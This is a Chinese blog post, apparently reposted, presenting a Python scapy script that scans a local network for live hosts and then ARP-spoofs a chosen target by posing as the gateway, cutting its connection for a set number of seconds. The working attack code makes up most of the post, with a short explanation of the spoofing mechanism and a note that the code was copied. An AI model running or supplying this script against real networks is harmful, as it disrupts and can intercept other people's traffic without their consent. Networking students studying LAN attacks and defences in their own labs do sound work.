博客
关于我
局域网内网络阻断小代码
阅读量:321 次
发布时间:2019-03-04

本文共 1855 字,大约阅读时间需要 6 分钟。

思路

Python来实现
1.获得当前ip及网关–>route print
2.封装arp数据包,以太网的包结构形式来发起ping,得到存活主机列表
3.得到存活主机列表
4.选择需要攻击或阻网的ip
5.设置攻击时长
6.arp攻击(封包、发包)

代码实现

直接上代码吧,感觉没什么好说的。
这里代码是参考了好多个博客总结了一下代码。但是不太清楚原理,又但是可以实现网络阻断的功能

不行,还不能现在就上代码,还得说明一下虚拟机的网络配置模式。
这里需要用到桥接模式,直接改过来就好了。
菜鸡一开始不太会修改网络模式,结果改成桥接ping不通了,,真tm气人啊,搞了一中午,(我的午觉没有了)
也不知道怎么弄得,虚拟机防火墙给阻了,所以从物理机ping不通虚拟机,,,


6.28更新:好像知道怎么个原理了,是在本机发送数据报给pdst,告诉它自己就是psrc(网关),这样一直发,把原本正常的arp缓存给顶出去,所以自己成了目标靶机的网关了。


虚拟机桥接前后扫描到的局域网ip

废话说完了,代码贴上来

import osimport timefrom scapy.all import *def scanSpoof():    netCard = 'xxxxx # 攻击的网卡,我这里是用的无线的网卡    cmdCode = 'route print' # 查看路由情况的cmd命令    # 执行cmd命令,获得当前主机的ip和网关    for line in os.popen(cmdCode):        # 通过line获得ip和网关        s = line.strip()        # print(s)        if s.startswith('0.0.0.0'):            ipList = s.split()            gw = ipList[2] # 网关            ip = ipList[3] # 当前ip            # print('ip: ' + ip)            # print('gw: ' + gw)            break    print("使用的网卡是: %s" % netCard)    print("本机上网ip是: %s" % ip)    print("上网网关是: %s" % gw)    # 封装一个arp数据包,符合以太网的包定义    arpPk = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=gw+"/24")   # Ether用于构造数据包    # srp 函数用于发送和接受第二层的数据包(Ethernet等)    ansip, unansip = srp(arpPk, iface=netCard, timeout=2, verbose=0)    print("扫描到%s台在线主机" % len(ansip))    print("扫描到%s台不在线主机" % len(unansip))    resIp = []    for s, r in ansip:        resIp.append([r.psrc, r.hwsrc]) # ip, mac    resIp.sort();   # 去重+排序        for ip, mac in resIp:        print("%s--->%s" % (ip, mac))    # 代理/抓包    # 阻断网络    targetIp = input("输入需要攻击的ip:")    targetTime = int(input("输入需要攻击的时间(秒):"))    # 实现arp攻击    for i in range(targetTime*10):        # 不太清楚这里为什么可以实现阻断网络的效果        sendp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=targetIp, psrc=gw), verbose=0)        time.sleep(0.1)    print("对%s的arp攻击完成" % targetIp)if __name__ == '__main__':    scanSpoof()

好吧,我承认了,这是抄的铁三的代码

转载地址:http://rznh.baihongyu.com/

你可能感兴趣的文章
mui HTML5 plus 下载文件
查看>>
DSP开发板准备
查看>>
c++中ifstream及ofstream超详细说明
查看>>
c++中explicit和mutable关键字探究
查看>>
c语言结构体字节对齐详解
查看>>
linux c/c++面试知识点整理(八)
查看>>
Deep residual learning for image recognition
查看>>
IO控制器
查看>>
Python 知识点总结篇(3)
查看>>
爬取网易科技滚动新闻
查看>>
vuex modules
查看>>
sleep、wait、yield、join——简介
查看>>
web项目配置
查看>>
c语言(基本数据类型)实参与形参传值 用汇编理解
查看>>
基于单片机可控音乐流水灯控制设计-全套资料
查看>>
基于单片机简易信号误差分析设计-全套资料
查看>>
基于单片机简易脉搏测量仪系统设计-毕设课设资料
查看>>
Javascript中String支持使用正则表达式的四种方法
查看>>
【IoT】蓝牙BLE基础:CC254x通信系列之模拟SPI协议
查看>>
【IoT】TI BLE CC2541 串口控制蓝牙详解
查看>>